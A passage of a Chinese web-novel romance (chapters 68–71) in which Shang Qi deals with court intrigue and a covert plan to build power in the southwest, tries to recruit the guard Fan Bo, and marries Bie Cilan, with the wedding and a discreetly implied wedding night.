要不就是天生,要不就是常年风吹日晒,别家的人尚柒见过不少,都不见面黑的,眼前这位多半就是风吹日晒来的。 对了对年纪,尚柒很容易猜到眼前的青年就是此云口中被广运帝指使去江南接管私兵的别景和。 “你就是尚柒?”别景和开口就能听出中气十足,的确是个练家子,一双虎目露出打量的目光,胆小些的必要被其中威慑吓的后退。 “正是,可是二堂兄,有幸听此云说过,不曾想今日得见。”尚柒面露微笑,要说论身形,尚柒因为还处于成长期的缘故,不及别景和,但个头隐隐不输。 “你倒大胆,你和此云还没成亲,不必如此亲近称呼。” “我与二堂兄尚未见过面,今日一见如故,如何不能亲近称呼。”尚柒显然不理会别景和的隐隐针对。 哪想别景和并不生气,反而露出几分欣赏:“道你大胆,还真大胆,我不喜欢胆小的人,还算对我胃口,可习过武。” “幼时为了强身健体,请了师傅回来学过几招。” “听闻你是商户出身,难得能有这份心。”大历一向是尚武的,只是两百来年过去,世家子弟越发娇生惯养,不说文臣,武将家的子弟都有不少草囊饭袋,不堪大用。 “世道乱,做生意一惯要走南闯北,若不会几个把式,如何能出门?” “有道理,今日我不得空,改日你登门来,我们比划比划,放心不欺负你。”别景和自小打熬筋骨,放眼长安还真没几个能打得过他的,所以说比武,他也不为难人,真要将人打坏了,小哥儿还不得寻他麻烦。 “好。”尚柒或许打不过别景和,但能和高手交手,才有进步不是。 第68章 梧桐苑。 “你堂兄回来了?”尚柒进院子, 就说起路上的见闻。 “你过来时见到他了?”别此云闻言轻步过来,仔细打量尚柒,怕一个不甚他那喜欢动武的二堂兄就和尚柒打了起来。 “不错, 闲说了几句, 还约了下次比划比划身手。” “如何就应下了?他这人惯是喜欢同人比划拳脚, 虽有轻重, 但真挨上一拳也少不得几日淤青。”别此云知道尚柒习武,但不论尚柒本事是否真的高强,单单是别景和年纪年长,就占了便宜。 “不过切磋,没什么。”尚柒露出一个安心的笑, 平日练武都免不了小伤小痛, 比试中受点伤也不算什么。 “可是张三之前没和你打尽兴?” 尚柒听到张三这个名字, 无奈的笑道:“虽说全武兄弟姓张行三,的确是巧了些, 但不想你竟真的这样唤人。” “你也道巧合,只要不往旁处想, 称呼张三本就是合礼数的。”别此云不承认自己有几分恶趣味在其中。 “倒是我的不是。”尚柒见人丝毫没有悔过, 也不抓着不放, “你二堂兄回来, 有带回什么消息吗?” 众所周知, 别景和去江南一趟是为广运帝办差,办的什么差, 明面上大家伙不清楚,私底下该知道的也都知道了。 “如我们猜测的那般,没什么新鲜事,但堂兄归家后, 遇上了齐王,给了堂兄好一阵脸色,别家是把齐王得罪尽了。” 可不是得罪尽了,别景和手里的私兵都是齐王花大价钱养出来的,如今被一锅端不说,还成了别景和升官的业绩。 又说别景和是别家人,别家是太子党,这笔仇也算在太子头上。 “萧氏没有什么动静?”说来奇怪,自打齐王的官司死了几个萧家旁支子弟,萧家和广运帝的斗法就偃旗息鼓,再不见明面上的针锋相对。 眼下萧氏资助齐王的私兵又被广运帝查出来,科考录取了不少白丁,种种举动都在世家头上跳舞。 萧氏作为世家领头羊一样的人物,竟然不见半点反应。 “萧氏安分的厉害,我猜是广运帝手里拿了萧氏什么把柄,方才叫萧氏如此瞻前顾后,没使手段为难。” “或许这也是为何你堂兄突然留在江南这样久的缘故。”尚柒脸色沉了下来,这并不是好事,别景和成了广运帝推到明面上对抗世家的棋子,对别家来说不是好事。 “我知萧氏必不可能真的安分,但堂兄选择走这步险棋也要留在长安,只怕江南那边的局势也岌岌可危。”二堂兄虽然善武,但好歹也是别家出来的,这点道理不会不懂。 “整个大历,哪里的局势都能算岌岌可危,别忘了我们也在西南为加速大历灭亡添砖加瓦。” “百足之虫死而不僵,更不说大历如今还勉强能运行,你我在西南的干的事,整个长安没这么干的少之又少。” 要说手上干净,不说中央,地方的官员也没几个当真干净,各皇子在封地养兵,各地方豪强在庄子养青壮,当官的不可能一无所知,不过是想着事不关己高高挂起,两头不得罪罢了。 “也是。”尚柒说着又提及官位的事。 “因为广运帝横插一脚科举,今年授官的事没那么快下来,本来进士科出来后能留长安的不少,奈何长安官位紧俏,世家是不愿意白丁占这么多位子,大部分都要打发去地方任职。” “想来有别家在,我的官位是去不了地方的。” “你是这次科举广运帝钦点的头名,若是你也去了地方,叫柳确这等世家子如何留长安,不过我私下已经叫兄长想办法将你的官位定在西南应州,这事须得太子插手,等一段时日应该就有结果。” 尚柒去地方任职,凭借科举头名的噱头,至少得一个正七品的县令,虽说比留在长安只得一个□□品的官要好,但地方官位何其难升,一旦去了地方再想要回来长安,没有背景几乎是不可能的。 就算有背景,也要少数十数年的经营,如此看其实是明升暗贬,一般人是不肯的。 太子那边正巧需要人手监视西南,一个庄王,一个平王,都和西南扯上了关系,往日的一块穷地闹出这样多乱子,太子再不放在心上,也要适当给几分关注。 这时候尚柒冒头,太子必不会多想,只当尚柒也是自己人,名正言顺的送一双眼睛去西南。 “你如何劝说你兄长同意的?”太子会同意,尚柒不意外。 “我告诉兄长,青麦酒是我私下经营的。”造反的事别此云自然是不能透露,但前不久酒水官营的闹剧正好拿来用一用。 “你兄长得知说了什么?” “大吃一惊,魂不守舍了三日方才重新振作,应了我去西南的要求。” 时下青麦酒依旧是广运帝的眼中钉,去西南躲躲太平也是好的,更不说尚家根基在西南,两人去了西南也吃不了亏。 “太子没过问你父亲祖父的意思?” “兄长劝过,太子此人只要符合自己的利益,不会管其他人的意见,哪怕之后父亲和祖父得知消息,也只能暗自生气罢了。” “你这是在挑拨太子和别家的关系?”虽说别家是板上钉钉的太子党,但人心伤多了也会失望,别家和太子的关系本来就靠别家单方面维护,别家一断,太子不可能低头,说不得还要反咬一口。 “只有积累足够的失望,我们才有机可乘不是吗?”别此云笑着望向尚柒。 “这么快就打上别家的主意了?”尚柒伸手触摸此云额前的碎发。 “大历不知道还能撑多久,我们的计划必然需要很长的时间,若是中途出现变故,能以别家的名义征召一些有识之士,也算是帮我们稳固根基。” “是啊,正常的社会结构,百分之二十的管理百分之八十的人,可全天下的读书人加在一起都凑不够百分之二十。”想要推行新制度,必要有志同道合的人帮忙。 “我知以太子性格,日后必会惹出大乱子,别家选他是不得已,但不该将身家性命都投在太子身上。” “那咱们努力,等西南稳定之后,想来别家自会弃暗投明。” “说起弃暗投明,禁军营的樊泊你可挖到墙角了。”别景和带私兵入禁军营,原本定好升迁的樊泊彻底无望,甚至接下来数年都看不到头。 “樊泊不肯到西南,只怕心底猜到了什么,不愿意拿一家老小的性命做赌注。” 樊泊此人聪明沉稳,光看军中行事,就知必是将才,奈何军中妒才,樊泊又没有什么建功立业的机会,方才耽误至此。 “所以他还是不愿意?”禄石几人去了西南,虽也勉强够用,但人才又哪里会嫌多,要不是二堂兄不是随便能撬的,他早就撬二堂兄去西南了。 “他夫人眼下在织坊做事,听闻几家去了西南的同僚日子过得不错,已然动摇,只要他夫人愿意,他自然会考虑。” “我记得他夫人身体不好,便是一家子都能去西南,樊泊怕也担心夫人在路上出事。”时下长途跋涉,正常人都吃不下,更不说一个病人。 “所以南枝给了他夫人一张请帖,说是可以寻我看诊。” “能治吗?” “生子留下的亏空,多还是以固本培元的法子治疗,主要还是樊家家产不丰,只能吃些温补的药,用好药虽不能说全好,却也比现在强。” “你有把握就好,实在不成也不妨事,天下有才干之人不缺樊泊一个,偌大的西南咱们总能遇上。”樊泊能争取到自然是好的,不成也不必强求。 “嗯,威逼利诱对樊泊这样的人反而不好使。” …… 尚府。 汪氏从马车上下来,手里捏着帖子,还有几分局促。 今日她轮休,上了这些时日工,她也晓得尚二姑娘这等东家不可多见,不想还记挂她的身体,给了帖子叫她能登门寻尚东家治病。 “听闻尚东家前些时候科举中了状元,能叫这等有本事的人瞧病,也是多亏了朱娘子寻我去织坊做事。”汪氏同樊泊说话,她是记着朱娘子的好。 “嗯。”樊泊扶着自家夫人,他得了帖子后,托人打听过,尚东家在长安行医,不少世家娘子郎君都上门看病,个个赞不绝口,可见医术不一般。 “待会你见了人,好歹说两句好听的,别板着一张脸。”汪氏轻声叮嘱,不怪她不放心,实在是她当家的就像是天生一张冷脸,对谁都不漏笑。 她不指望她当家的阿谀奉承,那等行径她也看不上,只是有求于人,总该软和些。 “嗯。”樊泊脸色不变,但他晓得今日登尚家门,会面对什么。 他自衬是个聪明人,从冯风悄无声息的接近他和禄石等人,就起了警觉。 天下哪有无缘无故凑上来献殷勤的,更不说冯风结识的禁军中人,都是白丁且颇有几分本事。 之后更是将各家娘子郎君都送去织坊做事,他静观其变,果不其然没等多久,冯风就透露要介绍人手去西南做事。 西南之地的乱象天下皆知,尤其是五皇子一事后。 于是心下有些猜测,但冯风此人虽说是故意接近,却待人真心,也帮过他几回忙,他自然没把猜测告诉任何人,只当自己不知道。 不想兜兜转转,到底还是求到了冯风东家头上。 第69章 汪氏的病其实不难治, 要紧的还是汪氏身体不好,也不空休养,平日家中操持的事虽有长辈分摊, 但下有两个孩子要养, 怎么都不能闲下来。 要说去织坊做工, 樊泊起先都是不愿意的, 后头亲自去织坊看过,知道织坊的活不重,才应了。 一家子光靠他那点饷银,也只是不饿肚子罢了。 尚柒看过诊,和先前所料不差, 药方都是现成有的, 不过樊家一日没钱, 这病一日难好。 大夫能治很多病,唯有穷病束手无策。 “尚东家, 能否借一步说话。”樊泊等尚大夫写好药方,见身边的小哥儿去抓药, 开口道。 “书房就在不远处, 樊兄弟请。” 到了书房, 尚柒给人倒了一杯热茶, 请人坐下说话。 “尚东家, 明人不说暗话,我知道尚东家的意思, 但我放心不下家中妻儿老小,没法去西南替你做事。” 如果樊泊当真了无牵挂,大抵可能会去西南拼一拼,实在是禁军凉他心太多次, 继续守着军中的小职位,也不会有太大出息。 大丈夫人生在世,不说顶天立地,但有本事又怎么甘心屈就一生,只是机会来的迟了,他不能做那等负心之人。 “樊兄弟,你去与不去西南全凭你自己的意愿,我这边虽然的确有意,但也不强买强卖。”尚柒早有樊泊不答应的准备,虽有几分遗憾,但也在情理之中。 “尚东家这样坦诚,不怕我向上官出卖你吗?”樊泊知道自己手里没有证据,但谋逆是大事,宁可信其有不可信其无,上头的人真收到了消息,必然会寻人彻查。 “前些时候,广运帝私下遣人去齐王、庄王、平王的封地搜查,而禁军只来了齐王的人马。” 樊泊不知道陛下私底搜查各王爷封地的事,甚至禁军近来多出的兵马,也只知道来自江南,全然不清楚和齐王有关。 这就是上层和底层消息不互通造成的信息差。 “尚东家是为谁办差?”樊泊从刚刚的话里已经知道尚东家在西南必然养的有兵,不光养兵,还躲过了陛下的搜查的,这就是明说尚东家不怕被人揭穿,因为查不到证据。 “我上面没有别人。”尚柒大方承认,他就是造反的头子。 樊泊面孔微变,显然没预料到尚柒作为背后之人,就这样直接和他见面了。 “多谢尚东家坦诚。”樊泊起身抱拳,“今日的事入我的耳,不会再有其他人知道,尚东家的情我还是承的。” 尚柒叹气,送人回到药房,等二人离府,还站在门口看着。 不是常说千里马常有伯乐不常有吗?他都当了伯乐了,也寻到千里马了,结果千里马不愿意回伯乐的马厩,继续骈于槽枥之间,可惜。 —————————— 十一月十八日,大晴。 自入秋后长安的天气就冷起来,到了十一月,更是需要多穿几身衣裳才能抵御白日寒风。 但喜事一惯热闹,鞭炮一响,唢呐一吹,哪怕是躲在家的百姓也都纷纷冒头想要瞧一瞧是哪家的喜事。 “嚯,这花轿瞧着真气派,又是哪位大人家娶亲,瞧着迎亲队伍是从咱们常乐坊出来的,怎么没听说哪家要办喜事?”有好事者询问。 “不晓得正常,今日是咱们常乐坊刚中了状元的尚大人娶亲,娶的是宣阳坊别家大房的公子。” 要说寻常百姓,必然是认不全整个长安的权贵,但常乐坊尚家近来可以说声名鹊起,因为科举拔得头筹,正叫坊内百姓好奇呢。 “状元娶亲啊,瞧动静我还以为是五品往上走的官员迎亲呢。” “可不是,近几年常乐坊成亲的大人物里,都没比今日气派的,瞧瞧迎亲队伍的聘礼,真是排成了长龙。” “怎么光看聘礼,合该第一眼看状元才是,我方才打正面瞧着,实在是一等一俊朗的儿郎。” “长得好看有什么用,还是要有本事才行。” 诸如此类的闲话从常乐坊一路说到宣阳坊,而骑着高头大马的尚柒,一时间是没空关心旁人说什么。 他出门迎亲,府里就靠两个小的操持,好在他入长安后,认识的人不多,送请帖多是别家那边的亲友,又有赵郎君帮忙看顾,勉强放心。 别家人口不少,不算旁支,林林总总都十几二十口人,先前尚柒没把人认完,今日登门迎亲是被别景季拉着认了个遍。 好在尚柒不脸盲,记下这些亲戚后就去了梧桐苑。 院门口站着两个小童拦门,别家讲究文采,尚柒得别洵松喜欢的事别家也人尽皆知,今日拦门几关,可是费了别家小辈们不少功夫,就是要考考尚柒的真本事。 梧桐苑内,大大小小的亲眷都在,连别老太君都打起精神,等别此云梳妆去院子送别后,过来梧桐苑在和人多相处一会。 “红酥,去外面看看,姑爷都到门口了,怎么只听见热闹,不见人进来。”苏怡然既希望尚柒晚一些来,又不想二人成亲错过吉时,她也是头一次嫁哥儿,这会儿比自己出嫁都焦急。 “许是外头拦门的几个小辈起了好胜心,正为难咱们姑爷。”孟郎君开口,先头他家姑娘成亲,也是这么为难姑爷的。 “过过礼就算了,真难住了如何收场?”苏怡然怕这群小的不知分寸。 “不妨事,景季景和也在外头,真难住了,就请姑爷给塞红包就是。” “难得热闹,就由他们去,眼下天色还早,不会误了吉时。”好容易家里热闹一回,别老太君也跟着起了玩闹心思。 老太君发话,苏怡然自然是不再多说,她又走到自家哥儿跟前,今日成亲,平日连脂粉都不擦的哥儿硬是叫她抹了一层胭脂。 喜事脸色自然要红晕些好。 “早上送来的糕点可吃了?”一早起来梳妆打扮,两口热饭都吃不上,苏怡然怕饿着此云,偷叫红酥送了刚出炉的糕点,叫此云吃了垫垫肚子。 “吃了。”别此云自然不会为了婚事委屈自己,饿肚子等到天黑这等傻事他是不会做的。 “从宣阳坊到常乐坊,路途不远,到了尚府,行了礼,且记得叫琴砚去准备些吃喝的东西。”苏怡然知道尚柒贴心,必然也是记着,可又怕今日事忙没工夫嘱咐。 “娘,我知道。” “也是,你一向聪明,但做娘的,总是不放心,且让我多说几句。”此云不在她跟前长大,两人的关系不及她和景季亲厚,但到底是她身上掉下的肉,又如何不疼呢。 “夫人,姑爷进门来了。”红酥出门打听,谁料到院门口,准备为难姑爷的守门人已经全部败下阵来。 “诶。”苏怡然牵手拉着此云起来,瞧着此云用却扇遮住脸,再一步一步将人送到门口。 正巧尚柒也到门口,一身红色的喜袍衬得人越发精神,二人站在一块,堪称珠联璧合,实在登对。 “岳母,我来接此云了。”尚柒过五关斩六将到了寝卧门口,心却还悬着,就怕屋里还有什么关卡等着他。 “此云就交给你了。”苏怡然将别此云的手递到尚柒手上。 “岳母放心。” 新人手牵着一处,二人又一一拜别长辈后,方才出府。 别府的大门难得打开,门口的石狮子也都带上红绸,看上去格外喜庆。 随着新人出府,后头跟着的是一抬抬别府准备的嫁妆,比起聘礼只多不少。 等尚柒将人送进花轿,翻身上马后,唢呐锣鼓再一次响起了,热热闹闹的又往常乐坊去。 尚府。 早一旬前尚府就开始布置红绸喜字,门上的红灯笼也都高挂着,院内收拾的厅房也都挤满了客人,大部分都是看在别家的面子上过来吃喜酒的。 原想着尚家在长安没有根基,不见几个客人,却不想谢家的谢琅竟然来了。 “小南枝小乌桕,你们兄长去姻亲,留你们在府里还忙的过来吗?”谢琅来的早,就是怕府里没人招呼,他作为尚柒和有钱的朋友,怎么能袖手旁观。 “有隔壁的赵郎君帮忙,还能应付。”尚南枝见过几次谢琅,二人单生意上很聊的来,已经是不错的朋友了。 谢琅也知道尚家隔壁住着谁,并不意外赵厢会过来帮忙。 “只赵郎君怕是不够,我也来帮忙了。”谢琅一点不见外的招呼外来的客人,每个认出谢琅的人都满脸惊异,不知尚家的儿郎如何和谢家子弟有了交情。 还没等迎亲队伍回来,谢琅俨然已经混成了尚柒异父异母的兄弟。 赶在吉时前,迎亲队伍顺利回到府里,尚柒用牵红牵着人入府,瞧着满厅客人个个规矩,不由得打量一圈,才发现谢琅正向他和此云招手。 若不是接下来还要赶在吉时前行礼,他都要过去好好感谢谢琅一番了。 府里招待客人的侍人,唱礼的司仪都是别府寻来的,原是尚柒要去寻租聘的,但苏怡然不放心,自寻了人手推到尚柒跟前。 于是婚礼在几个新手这里出乎意料的顺利,拜完堂之后,尚柒先要将此云送去洞房。 要说来贺喜的客人都是自家人,尚柒也就将此云留在外面一块待客了,偏大部分都是为别家而来的客人,他是可以让此云留下,但等这伙人回去,必少不得要向别家说他行事乖张,丢了别家的颜面。 “我先去外面招待,有什么需要只管让琴砚去吩咐就是。”尚柒身边不留人伺候,院子里也没有谁说管事。 “嗯,你且去吧。”别此云缓了口气,要说让他去外面招待客人,不如留在房间里休息,他也不是什么热情好客的人。 “公子若是饿了渴了,我就去厨房吩咐。”琴砚也来过尚府几次,知道尚府的路。 “不,我困了。”早晨起的太早,这会正昏昏欲睡。 第70章 “累死了。”尚乌桕嘀嘀咕咕的活动自己肩膀, 长安的亲事实在太折磨人了,长平村办喜事,只邀亲朋好友和街坊四邻过来吃一顿喜酒即可, 头日准备好食材, 第二日各家娘子郎君早早过来, 帮着请来的厨子一块做菜, 走时大家伙在一块给人主人家收拾好。 长安的喜事可好,主人家一天到头连个休息的口子都没有。 “也就这一回。”尚南枝脑袋也忙的跟个浆糊似的,“肚子饿吗?” “早就饿了,也不知道厨房还没有剩。” “必然是有的,宋娘子定然念着咱们。” “阿兄没等宴席结束就不见了, 想是也去厨房寻饭了, 今日他可是喝了好大一肚子酒, 浑身都像是被酒腌过。”说着尚乌桕动了动鼻子,显然那味道不好闻。 “幸好今日备的酒都不是什么度数高的酒, 不然阿兄肯定要被灌醉。”宴上只有一个谢琅帮着阿兄挡酒,大部分还是落进阿兄肚子里。 “灌醉可不成, 阿兄和别哥哥还要洞房呢。” 尚乌桕语出惊人, 叫尚南枝好一番侧目:“虽然我知你是当大夫的, 晓得这档子事, 但最好别在阿兄和别哥哥跟前说。” “阿姊太小瞧我了, 我是那么没分寸的人吗?”尚乌桕拍拍胸脯,万一叫别哥哥害羞了, 阿兄肯定要收拾他的。 “最好有。” 两姐弟一路说到厨房口,就闻到厨房飘来的肉汤香味,顿时话也不说了,口水疯狂分泌, 三步并作两步走进厨房缠着宋娘子给她们拿吃的。 而洞房里。 尚柒散了好一会酒味才进屋,人虽然清醒,但的确闻着不大好闻,等再散一个时辰,他还是要去沐浴一番,不然今晚得睡地板。 哪想等他进屋后,只看见一睡得正香的美人在卧榻,不说喜袍连带着头发都散了。 “公子昨日没睡好,今日一早起来也没得闲,便没忍住休息了。”琴砚说这话的时候略微脸红,没法子,纵观整个长安,也不能寻到如公子一样成亲时不等夫君,直接睡过去的新夫郞。 但新郎是尚东家,琴砚认为尚东家必然不可能跟长安的其他儿郎一样斥责公子。 “床上的东西可收拾了?”尚柒对人睡觉没意见,只是床榻的布置也是岳母那头送来人布置的,必不可少在上面撒满坚果。 “收拾了。” “你们跟来一路想是也没吃东西,屋里这会不用人,且去休息吧。”尚柒打算在屋里的塌上眯一会,时辰还早不至于一觉睡到天亮。 琴砚自然称是退下。 等别此云醒来的时候,已然天黑了,也不知道到底是什么时辰,但他已经恢复精神,之后怕是睡不着了。 等他环顾寝卧四周,没发现尚柒,想着他新婚夜就这么睡过去是不是有些过分了。 “醒了?”尚柒打外面进来,方才他小睡后就请了厨房送水,到隔壁沐浴了。 一身酒气洗干净,人也神清气爽起来。 “你去哪里了。”别此云不是头一次和尚柒共处一室,不说在外,就是在梧桐苑夜里他没少在尚柒跟前睡觉。 今个儿不知道是不是因为大喜之日的缘故,反而有几分不自在。 “白日宴上的客人缠着向我敬酒,虽酒的度数不高,但喝多了也难免一身酒气,回来休息了一个半时辰,就去沐浴了。”尚柒说着走到床榻跟前,“饿不饿,厨房还温着饭菜,听闻一整日你只早上吃了点糕点垫肚子。” 一说到饿,别此云揉了揉肚子,好像是有点:“我们好像还没喝合卺酒。” “吃完再喝也来得及。”尚柒伸手,扶人下床,时下天冷,大历还没出现烧地龙的取暖方式,自然只能靠炭火取暖。 西南冬日也冷,但又不及长安,于是他早早就备好了冬炭,屋里也搁着炭盆,不然刚从被窝出来,别此云必要打一个寒颤。 “南枝乌桕睡了?”今日他还没见到两个小的。 “休息了,白日她们招呼客人,忙的够呛,想是明日也要睡到日上三竿才起。”二人坐到桌前,尚柒已经吩咐厨房那边送饭菜过来。 “这会什么时辰了?” “快到子时了。” “我竟睡了这么久?” “许是白日太累,听琴砚说你昨日也没休息好,因为要成亲紧张吗?”尚柒还真好奇这事,毕竟以他的视角看此云,少有紧张的时候。 别此云点头后又摇头,要说紧张肯定有一些,到底是成亲,不过成亲的要事都是尚柒和他娘在操持,他想插手都没地方,可要说紧张到一宿未眠,又过了。 “只是从前我少有在家住,每每离开也不见有多想,但昨日突然想到成亲后,我就是回去,也没法再随意住多久了,有些不适应罢了。” 真要回别家住,哪怕是住一整年,别家都是乐意的,只是少不得风言风语。 “说明你将梧桐苑真的当归属,哪怕一年大半时间都在清闲观,但你知道梧桐苑是你的家,早晚都会回去。” 别此云愣了愣,认了尚柒的话,以前他以为和家里人不咸不淡,感情没那么深厚,但仔细回忆,其实他也是恃宠而骄,若非家里人当真心疼他,他也不能在世家这么多规矩里活的这么自在。 算下来,他当真运气不差。 失神的片刻功夫,厨房已经将饭菜送了过来,尚柒取过食盒一一摆在桌子上,最先要用的,自然是一碗香气扑鼻的肉汤。 今日的肉汤选的乌鸡,是宋娘子专程去乡下收来的,汤里还加了不少滋补的药材,喝着再养人不过。 “宋娘子的手艺又好了不少。”别此云咕嘟喝下一碗乌鸡汤,整个人都热起来。 “你喜欢就好,西南家里请来烧菜的胡娘子手艺也很好,日后等我们去了应州,就问胡娘子愿不愿意到应州做事。”其实不必问尚柒都知道胡娘子是愿意的。 “不叫宋娘子跟着一块去西南?” “宋娘子已经在长安成亲,丈夫是长安本地人,不好拆散人家夫妻,再一个我虽然离开,但长安这处宅子也是要留着的,平日也需要人打理,厨房也得留人做饭。” “也是,愿意携家带口离开祖地的人少之又少。” 二人不紧不慢的吃完送来的饭菜,将食盒送出去后,打算穿戴好衣裳,去院里散步消食。 “待到开春,咱们大抵就要离开长安了。”别此云身上裹着厚厚的披风,里面也穿了织坊特意送来的羊毛衣,就是夜里寒凉,身上也暖洋洋的。 “去西南的路不好走,我想着咱们还是走水路回去。”陆路辛苦,尚柒一路过来风餐露宿是因为打小他就吃过苦。 此云在长安娇生惯养长大,不一定能够吃的消,再一个,此云的身体也不好,比起陆路水路要少受一些罪。 “万一我晕船怎么办?”别此云知道尚柒这么说是在考虑他的身体,但他也不是风一吹就倒。 “那我就想想办法,看能不能再改善一下车的结构。”就如今的官道,再好的车过来也要颠簸,但想要整个大历的官道都铺上好路,没个几十年是不成的。 “走水路吧,不过听闻水路也不太平,路上遇见水匪,你的人善水战吗?” 水路自然也有它的不方便,但只要不晕船,还是比陆路舒服,沿道也有能停靠的码头,水上呆久了也能下船去城池休息一两日再走。 “水匪多在江南一带,那里水网密集,水匪才能神出鬼没,西南多山,山匪居多,真要遇上了水匪,想来也不是什么厉害人物,我的人不成,不是还有你的人吗?” “原是打上了我部曲的主意。”别此云笑着凑近尚柒,“我的人你自能用,但你的人我还不大认识,你的人知道你成亲了吗?” “聘礼大部分都是从西南运过来的,他们若是不知道,早该要骂我是不是打算在长安安家落户了。”尚柒不退,由着人靠近,再趁人不注意,将手圈住人的后腰,彻底把人拉进怀里。 “还道你是不会主动的人。”别此云靠在尚柒怀里,手指戏谑似的在人肩膀上画圈,“长夜漫漫,无心睡眠,你说我们干点什么事好呢?” “我还以为你没准备好。”其实他们二人从确定心意到成亲,也没多久时间。 对此,别此云的回答是微微抬头,吻上同样温热的嘴唇,本来只打算浅尝即止,奈何撬开了唇齿之后,再也脱不了身。 直到双方都有些气喘吁吁,才难舍难分的分开。 今夜月色不错,院子里的月光足够二人看清对方的神色,尤其是尚柒能够感觉背后抓住他衣服的双手有多紧。 “看来合卺酒只能明早再喝了。”尚柒低头在人耳边轻语后,就将打横抱起,怀里的人不光没有反抗,还在尚柒的脖颈间传递热气。 等尚柒大步流星的进屋后,寝卧的房门发出咔嚓的响声,屋里的喜烛明明暗暗的燃着,直到天明也不见有人吹灭。《 》 70-80 第71章 日上三竿。 尚府的几位主子少有晚起来的时候, 年纪小的尚乌桕或许还有贪睡的时候,尚柒和尚南枝一惯守时,到点就醒。 今个儿三人都没起来, 不过府里做事的人一惯知道几个主子好伺候, 也不会贸然去打扰。 东家院子里一般只有几个做洒扫活计的人过来, 但昨个儿东家成亲, 新郎君带来了不少陪嫁的人,光看模样个个标志,不愧是大户人家出来的。 且府里一直没有个主事人,平日有什么事都是看三个主子谁在府里,好容易等到了主事人, 下面做事的人也都想和新郎君的人套套近乎。 琴砚作为掌事, 在别府能将梧桐苑打理的井井有条不说, 还能在府里各个院子都安插公子的耳目不被发现,可见其本事, 这会要打理一个没多少人伺候的尚家更不在话下。 只是公子还没出面,他不能越俎代庖先吩咐, 但凡遇上套近乎的只笑一笑并不应答什么。 幸好尚东家、不对该该改口叫姑爷才是, 幸好姑爷家伺候的人还算老实, 并没有哪个冒头闹出什么乱子。 “琴砚哥儿, 厨房的宋娘子差人过来问, 主子们的饭什么时候送去。” 洞房花烛,起晚了也是常情, 只是一般娘子郎君嫁过去,都要考虑第二日给公婆奉茶,起晚了少不得落人口舌。 而尚府,上头也没个长辈, 不说新婚第二日需要奉茶,就是日后,也不必早起请安,甚至连个亲戚都没有,平日清闲的很。 这样的人家其实不太能入世家的眼,毕竟家里也没有谁能帮扶一把,可对姑娘哥儿来说,却是再自在不过。 “再等等,昨夜屋里的动静后半夜才停下,不到午时估计两位主子醒不过来。” “诶。” 琴砚在外头院子候着,屋里尚柒抱着别此云睡的很安静,也不知是谁先动了动,惊醒了身旁的人,以至于二人几乎是同时睁开眼。 只是比起尚柒睁眼立刻清醒,别此云还会迷糊一会。 等反应过来自己既不在梧桐苑也不在清闲观,而是在尚柒怀里的时候,别此云将脑袋埋进尚柒的脖颈处。 “昨夜喜烛燃着,又不是没看见,这会怎么还要躲我?”尚柒没忍住笑,想着昨日明明是人先大胆,怎么早上起来胆子又缩了回去。 别此云不作声,当自己是个鹌鹑。 “身体有哪里不舒服吗?”尚柒说着将手伸到此云的背后,轻力道的替人揉着,他是大夫,洞房这档子事就是没吃过猪肉也是见过猪跑的。 昨夜用的脂膏都是他亲自调配,只是想着他们怕是没那么快的进度,都没来得及问此云喜欢什么味道。 “腰酸,胀。”别此云好不容易吐出几个字,音量也极小,要不是两人挨的很近,尚柒都不一定能够听清楚。 “我先替你揉一会,然后再去取药膏替你上药。”尚柒半坐起来,将人放到自己怀里。 “我自己来。”别此云抬起头,脸色不见红晕,若不是刚才做派半点看不出人竟然害羞了。 “昨日……” “停,别说你见过了,办事和不办事的状态不能混为一谈。”青天白日口上花花还成,其余事他得缓缓再接受。 “所以待会沐浴也不能一起?” “你我一起沐浴,我得洗到什么时候去?”别此云懒散的说着话,同时动了动身体,示意尚柒看看自己什么样子。 要不说年轻火力旺盛,昨日两人初尝滋味,没轻没重的做了许久,但一觉起来不光没觉得累,还精神抖擞。 “我也不是一定要泄火。”尚柒无奈,早晨,又有温香软玉在怀,他没动静才奇怪。 “不难受?”别此云知道尚柒一贯是体贴,他今个儿是不成了,尚柒绝计不会胡来,但这么挺着也不是办法。 “你再问我就要改主意了。”尚柒说着拍拍人的后腰,“我去取衣服,待会先去沐浴,然后再吃午饭。” “嗯。”别此云没什么力气,他的体力必然是不如尚柒的。 等尚柒穿好衣服,先是出门吩咐了一声,才替别此云穿好衣服,将人抱着去隔壁沐浴。 一番收拾下来,两人都已经饥肠辘辘,算时间足六个时辰没吃饭了。 “两个小的只比咱们早起半个时辰,但耐不住饿,先吃饭了。”尚柒解释了一句。 “吃完饭我肯定要见见她们,见面礼我都准备好了。” “是什么?” “一个金算盘,一个金药箱。”投其所好的同时又展现财大气粗,毕竟金子谁不喜欢。 “算盘能打吗?”在尚柒看这两样都是中看不中用,毕竟无论是南枝还是乌桕做事的时候都不能随身带着,不然有人瞧着起歹心就不好收场了。 “能,虽然只能当摆件,但在家里用一用也没什么的。” “那她们一定喜欢。”以尚柒做兄长的了解,南枝乌桕都是十足的小财迷,能得金子打的东西,哪怕用不出去,每日光是看看都能乐的找不着北。 用过饭,两人总算是出了院子,尚府别此云来过多次,已然记住府内的路,尚府的宅邸自然是比不上别府的院子,但家里一共也没多少人,能够住的开。 “要是世道太平,这样的日子也不错。”别此云突然感慨。 “世道太平,就是寻常百姓日子也不错。”哪怕吃不饱穿不暖,至少不用担心性命之忧,日子也有盼头。 “礼县的百姓日子怎么样?”说来,别此云很少问尚柒西南的事。 “比一般百姓的日子要好过一些,我在礼县置办了这么多产业,都需要用人手,若是还不能叫礼县的百姓日子好过一些,岂不是半点希望没有。”这个希望自然是造反的希望。 “实业兴国,但想要大部分百姓投入工坊,粮食收入需要跟上。” “眼下咱们能弄到的只有双季稻,大历不过五千人口,双季稻引进,可以养活再多一倍的人口。” “但等人能吃饱饭了,人口不会只翻一番。”自古以来,讲究多子多福,就是农户家,也是能生多少生多少。 固然有没法避孕的缘故,但在追求生孩子这一块,大部分都秉持这个观念。 “人口红利有利有弊,眼下肯定是弊大于利。” “你我行策,需要谨慎,等到了应州你管辖的县城,咱们想法子先试点。” “我也是这样想的。” 说话间,两人到了前厅,只见两个小的规规矩矩坐在两旁,连衣裳都比平日穿的要庄重,叫穿着随意的新婚夫夫二人有些汗颜。 好在两个小的完全没发现什么,只有些偷偷摸摸的盯着两人看,叫尚柒和别此云互相望了望对方。 脸上正常,脖颈也正常,没留下什么痕迹,就算有也都在衣服下面。 “不过来和你们别哥哥说话吗?”尚柒率先开口,两个小的再不矜持,过来缠着别此云说话。 